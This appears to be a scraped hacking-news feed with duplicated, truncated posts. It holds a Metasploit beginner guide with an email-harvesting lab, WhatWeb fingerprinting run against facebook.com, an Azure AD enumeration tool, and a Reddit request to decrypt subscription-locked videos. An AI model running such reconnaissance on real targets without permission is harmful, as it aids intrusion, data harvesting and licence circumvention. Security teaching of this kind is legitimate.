Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Microsoft patches Windows zero-day used to drop ransomware Microsoft patches Windows zero-day used to drop ransomwarePost Views: 37 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe…
hed Windows 11 systems.
Trending: Kali Linux 2022.4 – New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-1-300x150.png Apple security update fixes new iOS zero-day used to hack iPhonesDecember 14, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-300x150.png New Python malware backdoors VMware ESXi servers for remote accessDecember 13, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/1-300x150.png JSON syntax hack allowed SQL injection payloads to be smuggled past WAFsDecember 12, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-21-300x150.png Cisco discloses high-severity IP phone bug with exploit codeDecember 9, 2022
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Microsoft patches Windows zero-day used to drop ransomware first appeared on Black Hat Ethical Hacking.
Trending: Kali Linux 2022.4 – New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-1-300x150.png Apple security update fixes new iOS zero-day used to hack iPhonesDecember 14, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-300x150.png New Python malware backdoors VMware ESXi servers for remote accessDecember 13, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/1-300x150.png JSON syntax hack allowed SQL injection payloads to be smuggled past WAFsDecember 12, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-posts-21-300x150.png Cisco discloses high-severity IP phone bug with exploit codeDecember 9, 2022
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Microsoft patches Windows zero-day used to drop ransomware first appeared on Black Hat Ethical Hacking.
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Most efficient method of proxying Android apps?
Is there a moderately easy way of proxying Android apps to observe https traffic?
Seems like android app API is super insecure compared to web apps.
submitted by /u/thehunter699
[link] [comments]
Most efficient method of proxying Android apps?
Is there a moderately easy way of proxying Android apps to observe https traffic?
Seems like android app API is super insecure compared to web apps.
submitted by /u/thehunter699
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
How to decrypt a video?
So I have a video file which is actually in bin format as it is read by my windows file system, but the actual name is 1-11-2.mp_cs_MH6yrX_sz_tesfasyesf_1660830086.
This file is only opened by an app provided to me and not by any other means.
The videos are some tutorials, i wanted to watch even when the subscription is expired.
The Coaching institute have given me the following - 1. An apk( for viewing it in mobile) and a exe file( for viewing it in a PC). 2. A key, which was generated only for me and I inserted it in the first time when i installed and opened the app. 3. List of videos like one above.
For viewing each video I have to open it via the app only.
So, I wanted to some how decrypt this video so that I can view it later also.
So far I have tried to change the extension of the video, but it doesn't work. I have also used a bin to video converter but that was also futile.
I am planning to decompile the apk and some how use it to open the file.
Are there any suggestions, if someone can help me with this.
Thanks
submitted by /u/noswear94
[link] [comments]
How to decrypt a video?
So I have a video file which is actually in bin format as it is read by my windows file system, but the actual name is 1-11-2.mp_cs_MH6yrX_sz_tesfasyesf_1660830086.
This file is only opened by an app provided to me and not by any other means.
The videos are some tutorials, i wanted to watch even when the subscription is expired.
The Coaching institute have given me the following - 1. An apk( for viewing it in mobile) and a exe file( for viewing it in a PC). 2. A key, which was generated only for me and I inserted it in the first time when i installed and opened the app. 3. List of videos like one above.
For viewing each video I have to open it via the app only.
So, I wanted to some how decrypt this video so that I can view it later also.
So far I have tried to change the extension of the video, but it doesn't work. I have also used a bin to video converter but that was also futile.
I am planning to decompile the apk and some how use it to open the file.
Are there any suggestions, if someone can help me with this.
Thanks
submitted by /u/noswear94
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Metasploit Framework – A Beginner’s Guide for Penetration Testing & Exploit Development
Metasploit Framework is a collection of exploits, shellcodes, fuzzing tools, payloads, encoders etc. Moreover, we can regard it as a collection of exploitation tools bundled into a single framework.
It is available in all major Linux, Windows, OS X platforms. Its main objective is to test your/company’s/organization’s defenses by attacking them. Something like “Offense for Defense”.
This is actually where a penetration tester/Security Analyst begins attacking the victim after a huge recon. Metasploit has a wide range of tools & utilities to perform attacks against all operating systems including Android & iOS. Metasploit Framework HistoryMetasploit was first written in Perl by H.D.Moore. Initially, it was intended to be a maintainable framework that automates the process of exploiting rather than manually verifying it. The first version was released in 2003 and consisted of 8-11(exact number not sure) no exploits.
Then more contributors collaborated & contributed to it a major release was 2.7 in 2006 which consisted of 150+ exploits. Then a major change was in version 3. It was reprogrammed in Ruby & was made cross-platform.
Also, the coolest thing is that new exploits & modules can be downloaded and added with ease by the release of this Metasploit Framework version. In 2009 Rapid7 acquired the project and still owns & maintains it. Still, now the basic architecture of Metasploit is not changed & basic versions are free. Metasploit Framework Modules & InterfacesMetasploit Framework comes in a variety of interfaces
* msfconsole – An interactive curses like a shell to do all tasks.
* msfcli – Calls msf functions from the terminal/cmd itself. Doesn’t change the terminal.
* msfgui – the Metasploit Framework Graphical User Interface.
* Armitag – Another graphical tool written in Java to manage pentest performed with MSF.
* Metasploit Community(or above) Web Interface – The web-based interface provided by rapid7 for easy pentesting.
* CobaltStrike – Yet another GUI with some added features for post-exploitation, reporting etc. Metasploit Framework ModulesExploitAn exploit is a method by which the attacker takes advantage of a flaw within a system, service, application etc. The attacker generally uses this to do something with the particular system/service/application which he/she is attacking which the developer/implementer never intended to do. Kind of like misusing. This is the thing that an attacker uses to gain access to a system.
Exploits are always accompanied by payloads
Source: “Metasploit- A pentester’s Guide” PayloadA payload is the piece of code which is run in the successfully exploited system. After an exploit works successfully, the framework injects the payload through the exploited vulnerability(flaw) and makes it run it within the target system. Thus an attacker gets inside the system or can get data from the compromised system using the payload. AuxiliaryProvides additional functionality like fuzzing, scanning, recon, dos attack etc. Auxiliary scans for banners or OSes fuzzes or does a DOS attack on the target. It doesn’t inject a payload like exploits. Means you won’t be able to gain access to a system using an auxiliary
Source: “Mastering Metasploit” from PacktPub EncodersEncoders are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall. This is widely used when we create a backdoor. The backdoor is encoded (even multiple times) and sent to the victim.
Source: “Mastering Metasploit” from PacktPub ShellcodeShellcode is a set of instructions used as a payload when exploitation occurs. Shellcode is typically written in assembly language. In most cases, a command shell or a Meterpreter shell will be provided after the series of instructions h[...]
Metasploit Framework – A Beginner’s Guide for Penetration Testing & Exploit Development
Metasploit Framework is a collection of exploits, shellcodes, fuzzing tools, payloads, encoders etc. Moreover, we can regard it as a collection of exploitation tools bundled into a single framework.
It is available in all major Linux, Windows, OS X platforms. Its main objective is to test your/company’s/organization’s defenses by attacking them. Something like “Offense for Defense”.
This is actually where a penetration tester/Security Analyst begins attacking the victim after a huge recon. Metasploit has a wide range of tools & utilities to perform attacks against all operating systems including Android & iOS. Metasploit Framework HistoryMetasploit was first written in Perl by H.D.Moore. Initially, it was intended to be a maintainable framework that automates the process of exploiting rather than manually verifying it. The first version was released in 2003 and consisted of 8-11(exact number not sure) no exploits.
Then more contributors collaborated & contributed to it a major release was 2.7 in 2006 which consisted of 150+ exploits. Then a major change was in version 3. It was reprogrammed in Ruby & was made cross-platform.
Also, the coolest thing is that new exploits & modules can be downloaded and added with ease by the release of this Metasploit Framework version. In 2009 Rapid7 acquired the project and still owns & maintains it. Still, now the basic architecture of Metasploit is not changed & basic versions are free. Metasploit Framework Modules & InterfacesMetasploit Framework comes in a variety of interfaces
* msfconsole – An interactive curses like a shell to do all tasks.
* msfcli – Calls msf functions from the terminal/cmd itself. Doesn’t change the terminal.
* msfgui – the Metasploit Framework Graphical User Interface.
* Armitag – Another graphical tool written in Java to manage pentest performed with MSF.
* Metasploit Community(or above) Web Interface – The web-based interface provided by rapid7 for easy pentesting.
* CobaltStrike – Yet another GUI with some added features for post-exploitation, reporting etc. Metasploit Framework ModulesExploitAn exploit is a method by which the attacker takes advantage of a flaw within a system, service, application etc. The attacker generally uses this to do something with the particular system/service/application which he/she is attacking which the developer/implementer never intended to do. Kind of like misusing. This is the thing that an attacker uses to gain access to a system.
Exploits are always accompanied by payloads
Source: “Metasploit- A pentester’s Guide” PayloadA payload is the piece of code which is run in the successfully exploited system. After an exploit works successfully, the framework injects the payload through the exploited vulnerability(flaw) and makes it run it within the target system. Thus an attacker gets inside the system or can get data from the compromised system using the payload. AuxiliaryProvides additional functionality like fuzzing, scanning, recon, dos attack etc. Auxiliary scans for banners or OSes fuzzes or does a DOS attack on the target. It doesn’t inject a payload like exploits. Means you won’t be able to gain access to a system using an auxiliary
Source: “Mastering Metasploit” from PacktPub EncodersEncoders are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall. This is widely used when we create a backdoor. The backdoor is encoded (even multiple times) and sent to the victim.
Source: “Mastering Metasploit” from PacktPub ShellcodeShellcode is a set of instructions used as a payload when exploitation occurs. Shellcode is typically written in assembly language. In most cases, a command shell or a Meterpreter shell will be provided after the series of instructions h[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
AzureGraph : Azure AD Enumeration Over MS Graph
AzureGraph is an Azure AD information gathering tool over Microsoft Graph.
Thanks to Microsoft Graph technology, it is possible to obtain all kinds of information from Azure AD, such as users, devices, applications, domains and much more.
This application, allows you to query this data through the API in an easy and simple way through a PowerShell console. Additionally, you can download all the information from the cloud and use it completely offline.
Requirements
* PowerShell 4.0 or higher
Download
It’s recommended to clone the complete repository or download the zip file.
You can do this by running the following command:
git clone https://github.com/JoelGMSec/AzureGraph
Usage
.\AzureGraph.ps1 -h
Info: This tool helps you to obtain information from Azure AD
like Users or Devices, using de Microsft Graph REST API
Usage: .\AzureGraph.ps1 -h
Show this help, more info on my blog: darkbyte.net
.\AzureGraph.ps1
Execute AzureGraph in fully interactive mode
Warning: You need previously generated MS Graph token to use it
You can use a refresh token too, or generate a new one
The detailed guide of use can be found at the following link:
https://darkbyte.net/azuregraph-enumerando-azure-ad-desde-microsoft-graph
Click Here To Download
AzureGraph : Azure AD Enumeration Over MS Graph
AzureGraph is an Azure AD information gathering tool over Microsoft Graph.
Thanks to Microsoft Graph technology, it is possible to obtain all kinds of information from Azure AD, such as users, devices, applications, domains and much more.
This application, allows you to query this data through the API in an easy and simple way through a PowerShell console. Additionally, you can download all the information from the cloud and use it completely offline.
Requirements
* PowerShell 4.0 or higher
Download
It’s recommended to clone the complete repository or download the zip file.
You can do this by running the following command:
git clone https://github.com/JoelGMSec/AzureGraph
Usage
.\AzureGraph.ps1 -h
Info: This tool helps you to obtain information from Azure AD
like Users or Devices, using de Microsft Graph REST API
Usage: .\AzureGraph.ps1 -h
Show this help, more info on my blog: darkbyte.net
.\AzureGraph.ps1
Execute AzureGraph in fully interactive mode
Warning: You need previously generated MS Graph token to use it
You can use a refresh token too, or generate a new one
The detailed guide of use can be found at the following link:
https://darkbyte.net/azuregraph-enumerando-azure-ad-desde-microsoft-graph
Click Here To Download
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Metasploit Framework – A Beginner’s Guide for Penetration Testing & Exploit Development Metasploit Framework is a collection of exploits, shellcodes, fuzzing tools, payloads, encoders etc. Moreover, we can regard it as a collection of…
ave been performed by the target machine, hence the name. ListenerA listener listens for connections from a payload injected into a compromised system. PostAs the name suggests, these modules are used for post-exploitation. After a system is been compromised, we can dig deeper into the system or set it as a pivot to attack other systems using these modules NopsNop is No Operation popularly known for x86 processors. This is related to shellcode & machine language instructions. Briefly, it prevents a program(here the payload) from crashing while using jump statements in its shellcode.
Nops kind of loops the machine language instructions from the beginning if it lands into an invalid memory location after issuing a jump statement. Thus prevents the payload from crashing. This is somewhat of an advanced concept and you must understand shell coding in order to understand & use nops.
Okay, that’s enough of the blah blah…Let’s have some fun. For now let’s proceed with a tutorial. I will keep you posted on the basics & commands of msfconsole in upcoming posts.
Here is a brief block diagram about the architecture of Metasploit Framework http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf11.png <figcaptionMetasploit Architecture Lab 1: Gather publicly available email-ids from search engines.In this Metasploit Framework lab, we are gonna try to gather email ids from a specific domain. Here we use an auxiliary module through the msfconsole. Step 1: Prerequisites: Start & enable PostgreSQL service, check your IP, start Metasploit service & msfconsoleCommand:service postgresql start Command:update-rc.d postresql enable Command: ip a | grep inet Command: service metasploit start Command: msfconsole http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2.png <figcaptionStarting Services & initial setup http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf1-1024x768.png <figcaptionThe MSF-console Step 2: Take the Initial steps of Metasploit Framework.Check & Connect db to msfconsole.
Command:db_status
The above command checks whether there is a database connection. I will explain this in detail in upcoming posts.
If the Metasploit service is started correctly, there will be a connection. Else, open a new terminal, start the service(command given above) and follow these:
db_connect msf3:msf3@localhost/msf3
Then check DB status again. If it didn’t succeed don’t worry, msf will work fine but without a database connection and some extended features. For the solution, check Step 2 in the following link Step 3: Let’s proceed. There is an auxiliary module which gathers all emailIDs found publically through a company’s website, social profiles etc. The module works by searching them in search engines like google, bing & yahoo.In the msf prompt type:
search email http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf4.png <figcaptionThe Msf-console & Database status http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf5.png <figcaptionModules listed after the search
This will show a list of modules. Here we are gonna use an auxiliary module: auxiliary/gather/search_email_collector
Type in:
info auxiliary/gather/search_email_collector
This displays some information on the module. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf6.png <figcaptionInformation of the module Step 4: Let’s Proceed to use the moduleuse auxiliary/gather/search_email_collector
Then there are certain options for this module, we can view this by using the following command
show options
We are gonna search for publicly available Gmail ids. so we set domain as Gmail, and save the output to gmails.txt.
set DOMAIN gmail.com set OUTFILE /root/gmails.txt <make http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf7.png <figcaptionSetting Options in the module
All set, we can run the auxiliary now but it’s always better to view all options set before running.
show opti[...]
Nops kind of loops the machine language instructions from the beginning if it lands into an invalid memory location after issuing a jump statement. Thus prevents the payload from crashing. This is somewhat of an advanced concept and you must understand shell coding in order to understand & use nops.
Okay, that’s enough of the blah blah…Let’s have some fun. For now let’s proceed with a tutorial. I will keep you posted on the basics & commands of msfconsole in upcoming posts.
Here is a brief block diagram about the architecture of Metasploit Framework http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf11.png <figcaptionMetasploit Architecture Lab 1: Gather publicly available email-ids from search engines.In this Metasploit Framework lab, we are gonna try to gather email ids from a specific domain. Here we use an auxiliary module through the msfconsole. Step 1: Prerequisites: Start & enable PostgreSQL service, check your IP, start Metasploit service & msfconsoleCommand:service postgresql start Command:update-rc.d postresql enable Command: ip a | grep inet Command: service metasploit start Command: msfconsole http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2.png <figcaptionStarting Services & initial setup http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf1-1024x768.png <figcaptionThe MSF-console Step 2: Take the Initial steps of Metasploit Framework.Check & Connect db to msfconsole.
Command:db_status
The above command checks whether there is a database connection. I will explain this in detail in upcoming posts.
If the Metasploit service is started correctly, there will be a connection. Else, open a new terminal, start the service(command given above) and follow these:
db_connect msf3:msf3@localhost/msf3
Then check DB status again. If it didn’t succeed don’t worry, msf will work fine but without a database connection and some extended features. For the solution, check Step 2 in the following link Step 3: Let’s proceed. There is an auxiliary module which gathers all emailIDs found publically through a company’s website, social profiles etc. The module works by searching them in search engines like google, bing & yahoo.In the msf prompt type:
search email http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf4.png <figcaptionThe Msf-console & Database status http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf5.png <figcaptionModules listed after the search
This will show a list of modules. Here we are gonna use an auxiliary module: auxiliary/gather/search_email_collector
Type in:
info auxiliary/gather/search_email_collector
This displays some information on the module. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf6.png <figcaptionInformation of the module Step 4: Let’s Proceed to use the moduleuse auxiliary/gather/search_email_collector
Then there are certain options for this module, we can view this by using the following command
show options
We are gonna search for publicly available Gmail ids. so we set domain as Gmail, and save the output to gmails.txt.
set DOMAIN gmail.com set OUTFILE /root/gmails.txt <make http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf7.png <figcaptionSetting Options in the module
All set, we can run the auxiliary now but it’s always better to view all options set before running.
show opti[...]
Hacking Articles Tips Tricks Videos Tutorials
ave been performed by the target machine, hence the name. ListenerA listener listens for connections from a payload injected into a compromised system. PostAs the name suggests, these modules are used for post-exploitation. After a system is been compromised…
ons
The moment of truth
run http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf8.png <figcaptionThe module running & displaying results http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf9.png <figcaptionThe module showing final results
After successful completion, the result will be in the file we specified. Verify it by going to the home folder or just opening a new terminal and type:
Command: cat gmails.txt | less <replacehttp://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf10.png Reading the outfile
Press q to exit.
This is a very-very basic demo of the Metasploit Framework & made exclusively for beginners. Also, this module is useful for collecting email IDs of a company during penetration tests. You can set the domain option to your target domain and run. Msfconsole provides a handy all-in-one interface to almost every option and setting available in the Framework; it’s like a one-stop shop for all of your exploitation dreams. You can use msfconsole to do everything, including launching an exploit, loading auxiliary modules, performing enumeration, creating listeners, or running mass exploitation against an entire network.
Msfconsole is really an interactive shell with which you can work with the metasploit framework dynamically & easily. As said above we can exploit all the functionalities of the metasploit framework with this interactive shell.
The most amazing feature is that, even if the core framework changes(gets updated or changes in modules)the msfconsole adjusts dynamically with a whole lot of features like help system, a search command, ability to create & manage users, databases, workspaces, hosts, vulnerabilities etc.
We can see the information & documentation for a module, see matching payloads and of course run the exploit in an interactive & easy way.
Some more terms & Concepts related to Metasploit & the MSFConsole
* Database: A dedicated database for the management of information like hosts, ip adderesses, ranges, vulnerabilities etc. Typically & usefully we can create a new database for each of our pentesting projects. Default is the postgresql.
* DB-User : Guess what…? The user who is using the database. This becomes very handy while integrating with the web interface.
* Workspace: Kind of like an exclusive space for each projects. Really helpful for managing the data of your projects. Creating a new project in Web-UI creates new workspace in console.
For all these labs, we need some machines. You can use VMs or Physical Machines. For most of the labs, I am using metasploitable. It has got a number of vulnerable services, exclusively made for learning Pentesting. I suggest you download it, & work with it. Setup the network so that, your Kali Linux Box & the Metasploitable Box are in same network. Metasploit Framework OptionsCore Commands Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
go_pro Launch Metasploit web GUI
grep Grep the output of another command
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module[...]
The moment of truth
run http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf8.png <figcaptionThe module running & displaying results http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf9.png <figcaptionThe module showing final results
After successful completion, the result will be in the file we specified. Verify it by going to the home folder or just opening a new terminal and type:
Command: cat gmails.txt | less <replacehttp://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf10.png Reading the outfile
Press q to exit.
This is a very-very basic demo of the Metasploit Framework & made exclusively for beginners. Also, this module is useful for collecting email IDs of a company during penetration tests. You can set the domain option to your target domain and run. Msfconsole provides a handy all-in-one interface to almost every option and setting available in the Framework; it’s like a one-stop shop for all of your exploitation dreams. You can use msfconsole to do everything, including launching an exploit, loading auxiliary modules, performing enumeration, creating listeners, or running mass exploitation against an entire network.
Msfconsole is really an interactive shell with which you can work with the metasploit framework dynamically & easily. As said above we can exploit all the functionalities of the metasploit framework with this interactive shell.
The most amazing feature is that, even if the core framework changes(gets updated or changes in modules)the msfconsole adjusts dynamically with a whole lot of features like help system, a search command, ability to create & manage users, databases, workspaces, hosts, vulnerabilities etc.
We can see the information & documentation for a module, see matching payloads and of course run the exploit in an interactive & easy way.
Some more terms & Concepts related to Metasploit & the MSFConsole
* Database: A dedicated database for the management of information like hosts, ip adderesses, ranges, vulnerabilities etc. Typically & usefully we can create a new database for each of our pentesting projects. Default is the postgresql.
* DB-User : Guess what…? The user who is using the database. This becomes very handy while integrating with the web interface.
* Workspace: Kind of like an exclusive space for each projects. Really helpful for managing the data of your projects. Creating a new project in Web-UI creates new workspace in console.
For all these labs, we need some machines. You can use VMs or Physical Machines. For most of the labs, I am using metasploitable. It has got a number of vulnerable services, exclusively made for learning Pentesting. I suggest you download it, & work with it. Setup the network so that, your Kali Linux Box & the Metasploitable Box are in same network. Metasploit Framework OptionsCore Commands Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
go_pro Launch Metasploit web GUI
grep Grep the output of another command
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Whatweb – A Scanning Tool to Find Security Vulnerabilities in Web App
Whatweb is the perfect name for this tool. Simply it answers the question, “What is that Website?” Whatweb can identify all sorts of information about a live website, like:
* Platform
* CMS platform
* Type of Script
* Google Analytics
* Web server Platform
* IP address, Country
* 900+ Plugins & their libraries used
* Server Headers, Cookies and a lot more.
Whatweb offers both passive scanning and aggressive testing. Passive scanning just extracts data from HTTP headers simulating a normal visit. Aggressive options get deeper with recursion & various types of queries & identify all technologies just like a vulnerability scanner.
So a pentester can use this tool as both a recon tool & vulnerability scanner. There are various other features like proxy support, scan tuning, scanning a range of IPs, spidering etc. Whatweb OptionsSyntax: whatweb [options] <urls
Options is deprecated. Only major options or listed. Visit whatweb tool homepage for complete options
TARGET SELECTION: <urlsEnter URLs, filenames or nmap-format IP ranges.
--input-file=FILE, -i Identify URLs found in FILE, eg. -i /dev/stdin TARGET MODIFICATION:
--url-prefix Add a prefix to target URLs
--url-suffix Add a suffix to target URLs
--url-pattern Insert the targets into a URL. Requires --input-file, AGGRESSION:
The aggression level controls the trade-off between speed/stealth and reliability.
--aggression, -a=LEVEL Set the aggression level. Default: 1
Aggression levels are: 1,2,3 & 4 HTTP OPTIONS:
--user-agent, -U=AGENT Identify as AGENT instead of WhatWeb/0.4.8-dev.
--follow-redirect=WHEN Control when to follow redirects.Default: always
--max-redirects=NUM Maximum number of contiguous redirects. Default: 10 AUTHENTICATION:
--user, -u=<user:password HTTP basic authentication
Add session cookies with --header, e.g. --header "Cookie: SESSID=1a2b3c;" PROXY:
--proxy <hostname[:port]Set proxy hostname and port Default: 8080
--proxy-user <username:passwordSet proxy user and password PLUGINS:
--list-plugins, -l List all plugins OUTPUT:
--verbose, -v Verbose output includes plugin descriptions. Use twice for debugging.
--colour,--color=WHEN control whether colour is used. WHEN='always', 'never' or 'auto'
--quiet, -q Do not display brief logging to STDOUT
--no-errors Suppress error messages LOGGING:
--log-brief=FILE Log brief, one-line output
--log-verbose=FILE Log verbose output
--log-xml=FILE Log XML format PERFORMANCE & STABILITY:
--max-threads, -t Number of simultaneous threads. Default: 25.
--open-timeout Time in seconds. Default: 15
--read-timeout Time in seconds. Default: 30
--wait=SECONDS Wait SECONDS between connections HELP & MISCELLANEOUS:
--help, -h This help
--debug Raise errors in plugins
--version Display version information. (WhatWeb 0.4.8-dev) Whatweb Lab 1: Perform Simple enumeration of websites over the internet.In this lab, we will perform simple enumeration of websites. The result of this is we can get to know the technologies used in the website & webserver.
Note: Please don’t use this against government or military websites without prior permission. The author of this article or tool itself are not responsible for any consequences if misused. Scenario:Attacker: Kali Linux VM
Target: www.facebook.com
Command: whatweb www.facebook.com http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb1.png <figcaptionBasic Details
To give a more verbose Output
Command: whatweb -v www.facebook.com http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb2.png <figcaptionDisplaying Details about modules http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb3.png <figcaptionDisplaying Details about modules
Practically, how we can u[...]
Whatweb – A Scanning Tool to Find Security Vulnerabilities in Web App
Whatweb is the perfect name for this tool. Simply it answers the question, “What is that Website?” Whatweb can identify all sorts of information about a live website, like:
* Platform
* CMS platform
* Type of Script
* Google Analytics
* Web server Platform
* IP address, Country
* 900+ Plugins & their libraries used
* Server Headers, Cookies and a lot more.
Whatweb offers both passive scanning and aggressive testing. Passive scanning just extracts data from HTTP headers simulating a normal visit. Aggressive options get deeper with recursion & various types of queries & identify all technologies just like a vulnerability scanner.
So a pentester can use this tool as both a recon tool & vulnerability scanner. There are various other features like proxy support, scan tuning, scanning a range of IPs, spidering etc. Whatweb OptionsSyntax: whatweb [options] <urls
Options is deprecated. Only major options or listed. Visit whatweb tool homepage for complete options
TARGET SELECTION: <urlsEnter URLs, filenames or nmap-format IP ranges.
--input-file=FILE, -i Identify URLs found in FILE, eg. -i /dev/stdin TARGET MODIFICATION:
--url-prefix Add a prefix to target URLs
--url-suffix Add a suffix to target URLs
--url-pattern Insert the targets into a URL. Requires --input-file, AGGRESSION:
The aggression level controls the trade-off between speed/stealth and reliability.
--aggression, -a=LEVEL Set the aggression level. Default: 1
Aggression levels are: 1,2,3 & 4 HTTP OPTIONS:
--user-agent, -U=AGENT Identify as AGENT instead of WhatWeb/0.4.8-dev.
--follow-redirect=WHEN Control when to follow redirects.Default: always
--max-redirects=NUM Maximum number of contiguous redirects. Default: 10 AUTHENTICATION:
--user, -u=<user:password HTTP basic authentication
Add session cookies with --header, e.g. --header "Cookie: SESSID=1a2b3c;" PROXY:
--proxy <hostname[:port]Set proxy hostname and port Default: 8080
--proxy-user <username:passwordSet proxy user and password PLUGINS:
--list-plugins, -l List all plugins OUTPUT:
--verbose, -v Verbose output includes plugin descriptions. Use twice for debugging.
--colour,--color=WHEN control whether colour is used. WHEN='always', 'never' or 'auto'
--quiet, -q Do not display brief logging to STDOUT
--no-errors Suppress error messages LOGGING:
--log-brief=FILE Log brief, one-line output
--log-verbose=FILE Log verbose output
--log-xml=FILE Log XML format PERFORMANCE & STABILITY:
--max-threads, -t Number of simultaneous threads. Default: 25.
--open-timeout Time in seconds. Default: 15
--read-timeout Time in seconds. Default: 30
--wait=SECONDS Wait SECONDS between connections HELP & MISCELLANEOUS:
--help, -h This help
--debug Raise errors in plugins
--version Display version information. (WhatWeb 0.4.8-dev) Whatweb Lab 1: Perform Simple enumeration of websites over the internet.In this lab, we will perform simple enumeration of websites. The result of this is we can get to know the technologies used in the website & webserver.
Note: Please don’t use this against government or military websites without prior permission. The author of this article or tool itself are not responsible for any consequences if misused. Scenario:Attacker: Kali Linux VM
Target: www.facebook.com
Command: whatweb www.facebook.com http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb1.png <figcaptionBasic Details
To give a more verbose Output
Command: whatweb -v www.facebook.com http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb2.png <figcaptionDisplaying Details about modules http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb3.png <figcaptionDisplaying Details about modules
Practically, how we can u[...]
Hacking Articles Tips Tricks Videos Tutorials
ons The moment of truth run http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf8.png <figcaptionThe module running & displaying results http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf9.png <figcaptionThe module showing final results…
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers Metasploit Framework Database Backend Commands =========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
